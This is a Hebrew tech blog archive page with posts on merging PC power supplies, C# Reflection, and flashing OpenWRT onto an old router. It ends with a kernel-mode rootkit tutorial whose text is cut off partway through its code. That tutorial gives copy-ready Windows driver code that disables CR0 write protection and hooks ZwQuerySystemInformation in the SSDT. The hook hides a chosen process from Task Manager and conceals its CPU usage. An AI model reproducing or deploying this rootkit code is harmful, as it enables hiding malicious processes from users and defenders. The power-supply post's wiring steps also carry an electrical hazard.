‏הצגת רשומות עם תוויות disassembly. הצג את כל הרשומות
‏הצגת רשומות עם תוויות disassembly. הצג את כל הרשומות

יום שבת, 1 במרץ 2014

Merge Power Supplies




במקרה שרוצים לבנות מחשב מעבר לשימוש הסטנדרטי לדוגמא מחשב של גיימרים עם מספר כרטיסי מסך צריכים למצוא ספק מספיק חזק שיספק זרם עבור כל הכרטיסים וכאן המחיר מטפס (גם חשבון החשמל),ניתן לחבר מספר ספקים ביחד ולפצל אותם בין הרכיבים השונים כפי שנראה בהמשך,יש פה עניין חשוב של כסף, ספק 1000 W עולה מעל 1000 ש"ח בעוד שספק 600 W עולה בין 250 ל 450 ש"ח תלוי ביצרן.

ATX Power Supply Pinouts

שימו לב!

אזהרת התחשמלות - העבודה עם ספק כוח מסוכנת ועלולה לגרום להתחשמלות אני לא אחראי על כל נזק לרכוש או לנפש ראו הוזהרתם!

אז אחרי ההזהרות אפשר להתחיל, קודם חשוב להכיר את הספק כוח יש המון סוגים אבל הם מגיעים בסטנדרט אחד שנקרא (ATX (Advanced Technology eXtended שהומצא בשנת 1995 ע"י אינטל אבל גם זה כנראה הולך לעבור שינוי בקרוב, בספק יש מספר יציאות חשמל בעוצמות זרם שונות שהן חלק מהתקן ונקראות Molex, היציאה הראשונה היא ATX Connector שמתחברת ללוח אם וגורמת לעסק לעבוד, אפשר להשוות אותה בחשיבותה לאבי העורקים שבגופנו, החיבור עצמו מורכב מ 24 פינים כפי שניתן לראות בתמונה:



כאשר נחבר בין החיבור PS_ON לאחד ה (COM (GND נוצר קצר שמפעיל את הספק כוח, נוכל לדמות את זה בעזרת כבל נוסף או Relay.

זה מסוכן, אמרתי כבר?!

עוצמות הזרם בספק מאוד סטנדרטיות והם מחולקות לצבעים:

  • אדום - 5V
  • סגול - 5V STAND BY
  • צהוב - 12V
  • שחור - GND
  • ירוק - PS ON
  • כתום - 3.3V
  • אפור - POWER GOOD
  • כחול - 12V-
  • חום - 3.3V Sensing

Molex 4 pin connector הוא חיבור נפוץ ביותר הוא מורכב מ 4 חוטים:

  • אדום - 5V
  • צהוב - 12V
  • שחור - GND

זכר
הדרך הפשוטה ביותר להפעיל ספק כוח בעזרת ספק אחר היא לחתוך את הכבל הירוק וכבל שחור מה Atx Connector ולחבר חיבור Molex עם 4 פינים שמחברים לספק אחר.




Relay

ממסר זה מתג אנלוגי שבתוכו יושב סליל כשעובר בו זרם נוצר שדה מגנטי שמושך את המתג ומשנה את זרימת החשמל, מאוד דומה למתג של האור בבית רק אוטומטי, זה מנגנון יחסית פרמיטיבי אבל הוא אמין מאוד ושימושי במיוחד, דיברתי עליו בעבר במאמר Arduino Relay Shield.

2 $ ליחידה


מחברים את הספק כוח הראשון לרגליים של ה 5 V ו ה GND ב Relay ומחברים DIODE בניהם, בספק השני מחברים את הרגל PS_ON לרגל NO ורגל GND ל GND, ברגע שנפעיל את הספק הראשון אוטומטי הספק השני ידלק.



במקרה שיש לכם לוח ישן שאין בו שימוש אפשר למחזר את ה Atx Connector:

למחזר זה חשוב!
סיכום

הדגמתי 2 דרכים כיצד להפעיל ספק כוח ע"י ספק כוח אחר וכיצד לחסוך כסף במקרה שבונים מחשב מפלצתי שלא ניתן למצוא ספק מתאים שיזרים מתח לכל הרכיבים, ספקי כוח שימושים מעבר לעבודתם הטבעית במחשב וניתן להשתמש בהם גם בפרויקטים אחרים עם Arduino ו BeagleBone.

טובים השניים מהאחד...

יום שני, 27 בינואר 2014

C# Reflection Guide



אחד התחומים המעניינים בפיתוח, האפשרות לתוכנית ללמוד על עצמה תוך כדי ריצה מאפשרת לפתח תוכניות מיוחדות במיוחד, האמת שנושא ה Reflection ישן והוא קיים עוד מתחילת ה Framework הראשון אבל אף פעם לא התייחסתי אליו כי בדרך כלל אין בו צורך, לרוב אנחנו יודעים מה אנחנו הולכים לפתח אבל קיימים מקרים מסויימים בהם יש חור שחור ואין לנו מספיק מידע ולכן עלינו לשמור על קוד גנרי ככל האפשר.

Reflection

יכולת של תוכנית לזהות במהלך הריצה את האובייקטים שרצים בה, לנתח אותם ולהפעיל בהם פונקציות באופן דינמי לפי סוג האובייקט או על פי קונבנציה קבועה, במאמר זה אני יעבור על נושא ה Reflection בסביבת .Net אבל היכולת הזאת נתמכת גם בסביבות נוספות כמו JavaScript, C++,Phyton וכו', הרעיון המרכזי הוא להפוך את התוכנית ל"שקופה" ושתוכל להתמודד עם אובייקטים שונים מבלי לעבור Compile כל פעם מחדש.

לצורך הדוגמה בניתי תוכנית והיא מאפשרת למשתמשים ליצור עבורה Plugins מיוחדים, מהרגע שהכנסתי את התכונה הזאת אני לא יודע מה המשתמש יעשה (האמת שזה לא כלכך צריך לעניין אותי), ואני לא יכול לעשות Compile לתוכנית המקורית כל פעם מחדש כי זה יהיה מגוחך, כאן נכנס ה Reflection לתמונה שבעזרתו אני יכול להגדיר קונבנציה עבור טעינת Plugin כחלק מה SDK של התוכנית, משתמש הקצה מייצר אובייקט שמכיל בתוכו קריאות לפונקציות שנקבעו מראש שמטרתם לחבר בין התוכנית לקוד שהמשתמש יצר, ברגע שמופעלת הפונקציה הקוד של המשתמש רץ מבלי שהיה חלק מהתוכנית עצמה כפי שניתן לראות בקוד הבא:

public class example
    {
        //private string
        private string msg0 = "this is exmaple of private string!";

        //public string
        public string msg1 = "this is exmaple of public string!";

        //constructor
        public example()
        {

        }

        //public function for invoke return string
        public string returnPrivateMessage()
        {
            return msg0;
        }

        //public function for invoke getting external 
        //parameter and return string
        public string returnEditMessage(string msg)
        {
            return "you write: " + msg;
        }
    }


המשתמש עוטף את המחלקה כ DLL ומעתיק אותה לתיקיית Plugin בתוכנית,התוכנית טוענת אותו לזיכרון ומחפשת את הפונקציה שנקבעה מראש על מנת להפעיל אותה ובעצם מעבירה את הריצה ל DLL מבלי לדעת מה בדיוק עומד לקרות שם.


class Program
    {
        static void Main(string[] args)
        {
            //load assmbly dynamically
            Assembly assemblyInstance = Assembly.LoadFrom(@"C:\\RefDLL.dll");

            Type[] types = assemblyInstance.GetTypes();

            for (int i = 0; i < types.Length; i++)
            {
                //search for specific type
                if (types[i].Name.ToLower() == "example")
                {
                    MethodInfo[] methods = types[i].GetMethods();
                    if (methods != null)
                    {
                        for (int z = 0; z < methods.Length; z++)
                        {
                            //search for specific method
                            if (methods[z].Name == "returnPrivateMessage")
                            {
                                //create instance for dynamic object
                                object classInstance = Activator.CreateInstance(types[i], null);

                                //execute method and gettig string
                                object res = methods[z].Invoke(classInstance, new object[0]);

                            }

                            if (methods[z].Name == "returnEditMessage")
                            {
                                //create parameters array for function,
                                //you can get the types of the arguments using
                                //ParameterInfo[] parameters = methods[z].GetParameters();
                                object[] parametersArray = new object[] { "my information!" };
                                object classInstance = Activator.CreateInstance(types[i], null);

                                object res = methods[z].Invoke(classInstance, parametersArray);
                            }
                        }
                    }
                }
            }

        }
    }



ראינו כיצד ניתן להפוך את התוכנית למשהו גנרי אבל מצד שני הקוד שלנו חשוף וכל אחד יכול להפעיל אותו, הצגתי בעבר כיצד ניתן לעשות Disassembly לקבצי DLL שנוצרו ב .Net וה Reflection לוקח חלק חשוב בתהליך, לסיום החלטתי שזו הזדמנות טובה להראות את היכולות של ה Reflection בעזרת כלי קטן שמאפשר לנתח קבצי DLL בצורה נוחה ומהירה, בדומה לדוגמה הקודמת התוכנית מקבלת נתיב ל DLL ופורסת אותו, היא מראה את הפונקציות, המשתנים והאירועים של האובייקטים בקובץ.

DLLReflector


סיכום:

אז כמו שכבר אמרתי בהתחלה בדרך כלל לא נמצא ל Reflection שימוש אלא במקרים מאוד מסויימים, ההתעסקות בניתוח האובייקט עלולה להפוך את התוכנית למסורבלת ואיטית ולכן כדאי לחשוב פעמיים לפני שבוחרים בדרך הזאת, אבל אין ספק שזה לוקח את האינטליגנציה של התוכנה צעד אחד קדימה.

קוד להורדה:


סקיינט?



יום שבת, 7 בספטמבר 2013

OpenWRT - Custom Router Guide




לכל מי שיש Router מיותר זה מאמר בדיוק בשבילו, לאחרונה נתקלתי בנתב ישן בבית שמחוץ לעלות אבק הוא לא כל כך מועיל וחשבתי לעצמי האם ניתן לשפר אותו? או להתקין עליו מערכת חדשה? מסתבר שזה אפשרי בעזרת הפרויקט OpenWRT שמאפשר להתקין מערכת הפעלה של Linux ע"ג נתבים שונים ומגוונים, צריבת מערכת הפעלה חדשה על מכשירים סגורים של יצרנים עלולה להרוס את המכשיר כמו שתראו בהמשך.

OpenWRT

מערכת Linux Embedded שתומכת ברוב הארכיטקטורת מעבד שבשוק, מתאימה בעיקר למוצרים כמו Routers ומוצרי תקשורת אחרים, היא התחילה את דרכה בשנת 2004, היא הותאמה בעיקר לנתבים של LinkSys אבל עם הזמן התרחבה לנתבים מחברות שונות.

שימו לב!
  • לפני שאתם חושבים לשדרג את הנתב שלכם כדאי שתבדקו בטבלת התמיכה שנמצאת באתר ותוודאו שהנתב שלכם ברשימה.
  • התהליך שמוצג במאמר יכול להרוס את המכשיר ברשותכם ללא יכולת לשחזור ותיקון , אני לא אחראי על כל נזק שנגרם לנתב שלכם - ראו הוזהרתם!
לאחר שמצאנו את הנתב בטבלה ברוב המקרים יש הסבר מפורט איך להתקין את מערכת ההפעלה ואת ה BootLoader אם לא מצאתם הסבר כזה לא מומלץ להתקין את מערכת ההפעלה כי סביר להניח שזה לא יעבוד ותהרסו את המכשיר.


D-Link Dir-300 A



המתנדב לניסוי הוא נתב ישן של D-LINK עם 4 כניסות LAN, כניסת WAN ו WIFI, הוא מבוסס על מעבד MIPS במהירות 182 MHZ עם 4 MB של FLASH ו 16 MB של RAM.

שימו לב! - לכל נתב יש תהליך צריבה משלו חשוב מאוד לעבור אחרי ההוראות באתר OpenWRT ומומלץ לחפש במקורות נוספים באינטרנט.

לפני שנתחיל לעבוד על הנתב יש מספר תוכנות שמומלץ להכין מראש:
  • PUTTY - תוכנה להתחברות בפרוטוקולים שונים כמו Telnet, SSH ו Serial.
  • WINSCP - תוכנה להעברת קבצים בעזרת SSH.
  • TFTPD32 - תוכנה להעברת קבצים בפרוטוקל Trivial File Transfer Protocol.
  • Port Scanner - סריקה מהירה של פורטים על הנתב.

יש להוריד מספר קבצים מאתר OpenWRT:


תחילה יש להחליף את ה Bootloader המקורי (RedBoot) ל BootLoader של OpenWRT שנקרא DD-WRT, התהליך עצמו קצת מוזר נותנים למחשב כתובת סטטית 192.168.20.80 ומחברים אותו לכניסת ה WAN בנתב, מחברים את הנתב לחשמל ונפתח לנו חלון של כמה שניות שדרכו ניתן להתחבר לנתב בעזרת Telnet בכתובת 192.168.20.81 בפורט 9000, זה לא תמיד מצליח ולפעמים צריך לכבות ולהפעיל את הנתב מספר פעמים עד שנכנסים לאחר מכן מכניסים את הפקודה:

Redboot> load ap61.ram
Redboot> go.

חשוב מאוד שתוכנת ה TFTP תעבוד ותצביע לתיקייה עם הקבצים הנחוצים, ברגע הרצת הפקודה הנתב ינסה למשוך את הקבצים מהמחשב ובסיום יש להפעיל את הנתב מחדש לא לפני שננתק את המחשב מה WAN ונחבר אותו לאחד כניסות ה WAN ונגדיר את הכתובת 192.168.1.2, נעשה את אותו טריק ונפעיל את הנתב מחדש וננסה להתחבר לכתובת 192.168.1.1 בפורט 9000, לאחר שהתחברנו מחדש נריץ את הפקודות הבאות:

כניסה למצב כתיבה לזיכרון:
DD-WRT>fis init
About to initialize [format] FLASH image system - continue (y/n)? y
*** Initialize FLASH Image System
... Erase from 0xbffe0000-0xbfff0000: .
... Program from 0x807f0000-0x80800000 at 0xbffe0000: .

הגדרת TFTP:

DD-WRT>ip_address -h 192.168.1.2
IP: 192.168.1.1/255.255.255.0, Gateway: 0.0.0.0
Default server: 192.168.1.2


כתיבת ה ROM מה TFTP:

DD-WRT>load -r -b %{FREEMEMLO} ap61.rom
Using default protocol (TFTP)
Raw file loaded 0x80080000-0x800a8717, assumed entry at 0x80080000


כתיבת ה Bootloader באופן קבוע:

DD-WRT>fis create -l 0x30000 -e 0xbfc00000 RedBoot
An image named 'RedBoot' exists - continue (y/n)? y
... Erase from 0xbfc00000-0xbfc30000: ...
... Program from 0x80080000-0x800a8718 at 0xbfc00000: ...
... Erase from 0xbffe0000-0xbfff0000: .
... Program from 0x807f0000-0x80800000 at 0xbffe0000: .


הגדרת Bootp:

DD-WRT>fconfig bootp false
bootp: Setting to false
Update RedBoot non-volatile configuration - continue (y/n)? y
... Erase from 0xbffe0000-0xbfff0000: .
... Program from 0x80ff0000-0x81000000 at 0xbffe0000: . 



בסיום נריץ את הפקודה Reset ובפעם האחרונה שוב נתחבר בעזרת Telnet לכתובת 192.168.1.1 בפורט 9000, ונריץ את הפקודות הבאות:


כניסה למצב כתיבה לזיכרון:
DD-WRT>fis init
About to initialize [format] FLASH image system - continue (y/n)? y
*** Initialize FLASH Image System
... Erase from 0xbffe0000-0xbfff0000: .
... Program from 0x807f0000-0x80800000 at 0xbffe0000: .


הגדרת TFTP:

DD-WRT>ip_address -h 192.168.1.2
IP: 192.168.1.1/255.255.255.0, Gateway: 0.0.0.0
Default server: 192.168.1.2

טעינת קובץ מערכת ההפעלה לזיכרון

DD-WRT>load -r -b %{FREEMEMLO} openwrt-atheros-vmlinux.lzma
Using default protocol (TFTP)
Raw file loaded 0x80040800-0x801007ff, assumed entry at 0x80040800


כתיבת הקובץ לנקודה ספציפית בזיכרון:

DD-WRT>fis create -e 0x80041000 -r 0x80041000 vmlinux.bin.l7
... Erase from 0xbfc30000-0xbfcf0000: ............
... Program from 0x80040800-0x80100800 at 0xbfc30000: ............
... Erase from 0xbffe0000-0xbfff0000: .
... Program from 0x80ff0000-0x81000000 at 0xbffe0000: .

טעינת קובץ של ה File System  לזיכרון:

DD-WRT>load -r -b %{FREEMEMLO} openwrt-atheros-root.squashfs
Using default protocol (TFTP)
Raw file loaded 0x80040800-0x802207ff, assumed entry at 0x80040800''


כתיבת ה File System לזיכרון באופן קבוע:
DD-WRT>fis create rootfs
... Erase from 0xbfcf0000-0xbffe0000: ...............................................
... Program from 0x80040800-0x80220800 at 0xbfcf0000: ..............................
... Erase from 0xbffe0000-0xbfff0000: .
... Program from 0x80ff0000-0x81000000 at 0xbffe0000: .

הגדרת זמן טעינת ה Bootloader:

DD-WRT>fconfig boot_script_timeout 5


הגדרת טעינת Script בזמן שה Bootloader עולה:

DD-WRT>fconfig boot_script true
Run script at boot: true 

הגדרת הפקודה ב Script:

DD-WRT>fconfig
Run script at boot: true
Boot script:
Enter script, terminate with empty line
>> fis load -l vmlinux.bin.l7
>> exec
>>

הנתב יציג פרמטרים נוספים ובסיום יש לבצע Reset:

Boot script timeout (1000ms resolution): 5
Use BOOTP for network configuration: false
Gateway IP address: 192.168.1.1
Local IP address: 192.168.1.10
Local IP address mask: 255.255.255.0
Default server IP address: 192.168.1.228
Console baud rate: 9600
GDB connection port: 9000
Force console for special debug messages: false
Network debug at boot time: false
Update RedBoot non-volatile configuration - continue (y/n)? y
... Erase from 0xbffe0000-0xbfff0000: .
... Program from 0x80ff0000-0x81000000 at 0xbffe0000: .''

DD-WRT>reset

זהו אפשר לומר שסיימנו וכרגע על הנתב מותקנת מערכת הפעלה חדשה, נתחבר לנתב בעזרת Telenet לכתובת 192.168.1.1 הפעם בפורט הסטנדרטי (23), נוכל להגדיר סיסמא ,להתחבר בעזרת SSH וכמובן לנהל את הנתב בעזרת הדפדפן.





Brick Device

מה שראינו זה תהליך שכנראה קורה רק בתאוריה ובפועל העסק הולך ומסתבך, אחד הטעויות שעשיתי היא שהורדתי את הקבצים של הגרסה האחרונה מ OpenWRT וזו היתה טעות רצינית, מסתבר שהתקנתי גרסה חדשה מידי שלא ממש תואמת לנתב שגרמה לו לעשות Reset כל הזמן ולא היה ניתן להתקין עליו אף תוכנה, עשיתי Reflashing אבל זה רק עשה את זה יותר גרוע ולא הצלחתי להתחבר אליו בשום צורה, בקיצור הנתב נהפך ל Brick וההיתי בטוח שזה הסוף, אבל מסתבר ש D-LINK לא הורידה מהלוח את האפשרות להתחבר בעזרת חיבור סיראלי והפינים עדיין קיימים ,זו היתה הדרך היחידה להציל את המצב.


לאחד הפרוייקטים שלי רכשתי לוח Breakout Board מחברת Sparkfun שמחבר בין UART ל USB, מחירו בסביבות 15 דולר, מחברים את יציאת ה RX בנתב ל TX ב Breakout ואת ה TX בנתב ל RX ב Breakout כמובן לא לשכוח את ה GND ,מתחברים עם Putty ומתחילים לצרוב אותו מחדש.


מסתבר שהתקנתי את הגרסה Barrier Breaker אבל הגרסה המתאימה ביותר עבור אותו נתב היא Kamikaze לכן יש לעיין בקבצים באתר לפני ההתקנה.

מבנה סופי


סיכום:

עבודה עם OpenWRT מאפשרת לנו לשדרג נתבים ישנים ולהפוך אותם למכונת Linux לכל דבר, חשוב מאוד לאסוף את כל המידע הדרוש מהאתר OpenWRT וכמובן לחפש במקורות נוספים, במקרה שלי היה לי מזל שעדיין היה ניתן להתחבר בעזרת חיבור סיראלי שזה לא מובן מאליו לכן יש להשים לב לכל דבר קטן בתהליך ולעשות אותו בצורה המתאימה תוך שיקול דעת כי זה יכול להיות הרגעים האחרונים לנתב לפני שהוא נהרס לחלוטין.

לאתר הרשמי:

שדרגו בחוכמה!

יום חמישי, 14 ביוני 2012

Kernel Mode RootKit Guide


מלחמת סייבר בפתח ולאחרונה התגלו וירוסים מסוג חדש שלא נראו עד כה, אחד מהם הוא Stuxnet שנחשף באיראן וגרם לבעיות בכור האטומי ואח"כ Flame שהוכרז לוירוס הריגול המשוכלל ביותר שנמצא, הוירוסים מנצלים חולשות אבטחה על מנת לקבל הרשאות גבוהות, סורקים מחשבים אחרים ומנסים להשתכפל , מחביאים את עצמם, משלבים את עצמם בקוד פיתוח וכו', מי בדיוק עומד מאחריהם זה לא ממש ברור אבל מה שבטוח כללי המשחק השתנו.

במאמר זה נממש מנגנון הסואה על מנת להסתיר Process מעיני המשתמש בעזרת  KMDF - Kernel Mode Driver Foundation, כלומר הכתיבה שלנו תתמקד ב Kernel Space של מערכת ההפעלה יש דברים שאפשר לעשות רק שם.

למה דווקא ב Kernel?
זו לא הפעם הראשונה בה אנו נפגשים עם RootKit , ראינו כיצד לממש RootKit ב Manage Code וכך להשפיע על תוכניות שמשתמשות ב FrameWork של .Net, אבל לא כולם משתמשים ב .Net אבל כולם בטוח משתמשים ב Kernel לכן זו נקודה חשובה למחשבה, עוד נקודה חשובה, במרחב של ה User העבודה היא עם כתובות וירטואלית בזמן שב Kernel העבודה עם כתובות פיזיות ווירטואלית, נעבוד במצב Ring0  שבו אין מגבלות אבטחה בשביל שנוכל לשנות אוגרים (Register) וטבלאות פנימיות של המערכת.


הודעה חשובה!
התהליך שאנחנו הולכים לממש פה הוא תהליך מלוכלך ומסוכן שעלול לפגוע במערכת ההפעלה, ואיני לוקח אחריות על נזק שנגרם בעקבות השימוש או אופי השימוש, המאמר הזה מסביר את הרעיון ולא מעבר של RootKit וכיצד לממש אותו בסביבת ה Kernel של מערכת Windows, אם אתם בכל זאת רוצים לממש אותו מומלץ להשתמש במכונה וירטואלית.
הקוד נוסה על מערכת Windows Xp / Server 2003.
נקודת התחלה:
בגדול אנחנו הולכים לבנות לנו Driver קטן שיותקן ל Kernel של ה Windows לכן אנחנו חייבים את ה Windows Driver Kit של Microsoft , זו סביבה שדרכה ניתן לכתוב Drivers ל Windows, אל תצפו ליותר מידי , לא מדובר על סביבה כמו Visual Studio (למרות שאפשר לחבר בניהם אבל זה לא מומלץ לפחות לא בגרסה 7600) יותר תחשבו על כיוון ה NotePad,  כמובן שמגיעים כלי Debug כמו ה KD - Kernel Debugger אבל אותם נשמור למאמרים אחרים, בגלל שאנחנו עובדים עם ה Kernel תשכחו מחלונות השגיאה הרגילים ותתרגלו ל BSOD - Blue Screen Of Death הותיק של Windows (למי שלא נתקל בו שיפסיק לקרוא עכשיו!), לכן אני חוזר שוב רצוי לעבוד על מכונה וירטואלית.

תתארגנו יוצאים לדוג:
לדוג (Hooking) הוא אחד המנגנונים המרכזיים ב RootKit, בעברית פשוטה אנחנו הולכים ל"חרטט" את המערכת שלנו, לא נתפוס בורי או נסיכת הנילוס אלא טבלה מאוד חשובה שמכילה מידע חיוני עבור המערכת ההפעלה שלנו, הטבלה נקראת SSDT או בשמה המלא System Service Dispatch Table , מה כלכך חשוב בטבלה הזאת, אתם שואלים? היא מכילה את כל הכתובות עבור ה System Calls שהן פונקציות שנתנות שירותים לתוכניות בעולם של User, החכה שלנו היא חולשה בקובץ ntoskrnl.exe שחושף Structure שמכיל בתוכו מצביע (Pointer) עבור טבלת ה SSDT שמכילה את כל הכתובות עבור הפונקציות ובצורה זו ניתן להחליף את הפונקציות של המערכת בפונקציות שלנו.





אבל הדרך אל הדג לא פשוטה, הטבלה נעולה לכתיבה לכן חשוב להשתחרר מהמגבלה הזאת בעזרת שינוי האוגר (Register)  בשם CR0 - Control register של מעבדי אינטל (כבר אמרתי שאנחנו ב Kernel?) מכיל בתוכו  BIT להרשאות כתיבה למעבד לאיזורים המוגדרים כ Read Only (מצטער חברים, אסמבלי).


void enableWP_CR0()
{
__asm
{
//save EBX
PUSH EBX
//put CR0 value inside Ebx
MOV EBX,CR0
//enable wp bit
OR EBX,0x00010000
// update CR0 with EBX value
MOV CR0,EBX
POP EBX
}
return;
}


void disableWP_CR0()
{
__asm
{
//save EBX
PUSH EBX
//put CR0 value inside Ebx
MOV EBX,CR0
//enable wp bit
AND EBX,0xFFFEFFFF
// update CR0 with EBX value
MOV CR0,EBX
POP EBX

}
return;
}


ZwQuerySystemInformation
זאת הפונקציה שאותה אנחנו הולכים לחרטט ולהכניס את ה RootKit לפעולה, אז אחרי שקיבלנו מצביע ל SSDT צריך לחפש את הפונקציה בטבלה ולהחליף את הכתובת שלה לפונקציה החדשה שלנו,  כאשר מתבצעת בקשה למידע על המערכת מה user (נניח שה Task Manager רוצה מידע על ה Processes) מופעלת הפונקציה ומחזירה את המידע על בסיס Enum שמסווג את סוגי הבקשות ועל פי הסוג משתנה האובייקט החוזר בפונקציה.

SystemBasicInformation 0
SystemPerformanceInformation  2
SystemTimeOfDayInformation 3
SystemProcessInformation 5
SystemProcessorPerformanceInformation 8
SystemInterruptInformation 23
SystemExceptionInformation 33
SystemRegistryQuoataInformation 37
SystemLookasideInformation 45


השורות המסומנות באדום מתארות את המצבים בהם אנו רוצים להתערב בבקשה שמגיעה מה user, הבקשה SystemProcessInformation מחזירה לנו מערך אובייקטים שמכיל את כל המידע עבור ה Processes , בעצם מדובר על רשימה מקושרת שמצביעה לאובייקט הבא עד שהוא אפס ( NextEntryOffset) , אנחנו נחפש את ה Process המבוקש עד שנמצא אותו ונשנה את ה NextEntryOffset ל Process שהיה לפניו שיצביע לזה שאחריו.









//process information structure
typedef struct _SYSTEM_PROCESS_INFO
{
//the next entry address
ULONG NextEntryOffset;
//number of threads used in process
ULONG NumberOfThreads;

ULONG Reserved[6];
        //process timers
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;

       UNICODE_STRING ProcessName;
KPRIORITY BasePriortiy;
HANDLE UniqueProcessId;

PVOID Reserved3;
//total number of handles used by this process
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
//maximum number of bytes used by this process
SIZE_T PeakPagefileUsage;
//number of memory page allocated for this process
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];

}SYSTEM_PROCESS_INFO, *PSYSTEM_PROCESS_INFO;

הבקשה הבא SystemProcessorInformation מחזירה מבנה של זמני ה Cpu  שמאפשר לנו להסתיר את ה RootKit , ברגע שנגלה את ה Process שאנחנו רוצים להסתיר, נשמור את נתוני הזמנים של המעבד עבור ה Process בפרמטר ונוסיף אותו לשעון ה Idle כאשר תגיע בקשה.

//array of element for each processor
//handle system idles time
typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFO
{
LARGE_INTEGER IdleTime;
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER Reserved1[2];
ULONG Reserved2;
}SYSTEM_PROCESSOR_PERFORMANCE_INFO,*PSYSTEM_PROCESSOR_PERFORMANCE_INFO;



קוד:
זהו הגענו לרגע האמת, השתדלתי לתאר את הקוד כמה שאפשר, למידע נוסף אני ממליץ מאוד על הספר The Rookit Arsenal ספר מעולה בנושא , לאחר ההתקנה של ה WDK ניצור תיקייה חדשה בתיקיית src  וניצור קובץ חדש בעזרת ה notepad , נעתיק את הקוד ונשמור אותו בסיומת c.

//copy and paste to your new folder inside the src directory
#include <ntddk.h>

//basic driver datatype
typedef unsigned long DWORD;
typedef unsigned short WORD;
typedef unsigned char BYTE;


#pragma pack(1)
//the structure of ServiceDescriptorEntry exported
//symbol of KeServiceDescriptorTable 
typedef struct ServiceDescriptorEntry
{
//address to System Service Dispatch Table
DWORD *KiServiceTable;
DWORD *CounterBaseTable;
DWORD nSystemCalls;
DWORD *KiArgumentTable;
} SDE,*PSDE;
#pragma pack()

//symbol exported from ntoskrnl.dll
//exported symbol from ntoskrnl.exe 
__declspec(dllimport) SDE KeServiceDescriptorTable;
PVOID *systemCallTable;

NTSYSAPI
NTSTATUS
//the orginal system call prototype
NTAPI ZwQuerySystemInformation
(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength
);

//save the address of the existing system call
typedef NTSTATUS (*ZwQuerySystemInformationPtr)
(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);

//holding the original call
ZwQuerySystemInformationPtr oldZwQuerySystemInformation;

//process information structure
typedef struct _SYSTEM_PROCESS_INFO
{
//the next entry address
ULONG NextEntryOffset;
//number of threads used in process
ULONG NumberOfThreads;

ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriortiy;

HANDLE UniqueProcessId;
PVOID Reserved3;
//total number of handles used by this process
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
//maximum number of bytes used by this process
SIZE_T PeakPagefileUsage;
//number of memory page allocated for this process
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];

}SYSTEM_PROCESS_INFO, *PSYSTEM_PROCESS_INFO;

//array of element for each processor
//handle system idles time
typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFO
{
LARGE_INTEGER IdleTime;
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER Reserved1[2];
ULONG Reserved2;
}SYSTEM_PROCESSOR_PERFORMANCE_INFO,*PSYSTEM_PROCESSOR_PERFORMANCE_INFO;


// * [part of system_information_class enum]
//#define SystemBasicInformation 0
//#define SystemPerformanceInformation  2
//#define SystemTimeOfDayInformation 3
#define SystemProcessInformation 5
#define SystemProcessorPerformanceInformation 8
//#define SystemInterruptInformation 23
//#define SystemExceptionInformation 33
//#define SystemRegistryQuoataInformation 37
//#define SystemLookasideInformation 45

LARGE_INTEGER timeHiddenUser;
LARGE_INTEGER timeHiddenKernel;

//implement the hook routine
NTSTATUS newZwQuerySystemInformation
(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS ntStatus;
PSYSTEM_PROCESS_INFO cSPI;
PSYSTEM_PROCESS_INFO pSPI;

//begin to call to orginal prototype for checking
//if ntStatus no equal NT_SUCESS quit
ntStatus = ((ZwQuerySystemInformationPtr)(oldZwQuerySystemInformation))
(
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength
);

if(!NT_SUCCESS(ntStatus)){ return (ntStatus);}

//check SystemInformationClass equal to SystemProcessorPerformanceInformation(8)
//if the query is SystemProcessorPerformanceInformation
//we need to update the system idle time
if(SystemInformationClass == SystemProcessorPerformanceInformation)
{
PSYSTEM_PROCESSOR_PERFORMANCE_INFO timeObject;
LONGLONG extraTime;

timeObject = (PSYSTEM_PROCESSOR_PERFORMANCE_INFO)SystemInformation;
extraTime = timeHiddenUser.QuadPart + timeHiddenKernel.QuadPart;
(*timeObject).IdleTime.QuadPart = (*timeObject).IdleTime.QuadPart + extraTime;
}

//checking if the call not equal to SystemProcessInformation, and exit
if(SystemInformationClass != SystemProcessInformation){ return (ntStatus);}

//getting the SystemInformation
cSPI = (PSYSTEM_PROCESS_INFO)SystemInformation;
pSPI = NULL;

while(cSPI != NULL)
{
        //if process name is null this is the
//Idle Process we add the hidden process Kernel/User times
if((*cSPI).ProcessName.Buffer == NULL)
{
(*cSPI).UserTime.QuadPart = (*cSPI).UserTime.QuadPart + timeHiddenUser.QuadPart;
(*cSPI).KernelTime.QuadPart = (*cSPI).KernelTime.QuadPart + timeHiddenKernel.QuadPart;

timeHiddenUser.QuadPart = 0;
timeHiddenKernel.QuadPart = 0;

}

else
{
if(memcmp((*cSPI).ProcessName.Buffer,L"cmd.exe",10)==0)
{
//get the time of the hidden process and save it
timeHiddenUser.QuadPart = timeHiddenUser.QuadPart + (*cSPI).UserTime.QuadPart;
timeHiddenKernel.QuadPart = timeHiddenKernel.QuadPart +  (*cSPI).KernelTime.QuadPart;


if(pSPI != NULL)
{
if((*cSPI).NextEntryOffset == 0)
{
//this is the last element in the array
(*pSPI).NextEntryOffset = 0;
}
else
{
//rewirte the previous SPI
//entryoffset to point to the next
//element after the hidden process
(*pSPI).NextEntryOffset = (*pSPI).NextEntryOffset + (*cSPI).NextEntryOffset;
}
}
else
{
                                   //if the first element in the array
//that we need to hidden increase the pointer
//to the next element
(BYTE *)SystemInformation = ((BYTE*)SystemInformation) + (*cSPI).NextEntryOffset;

}
}
}

//set the current entry to hold in the 
//previous entry
pSPI = cSPI;

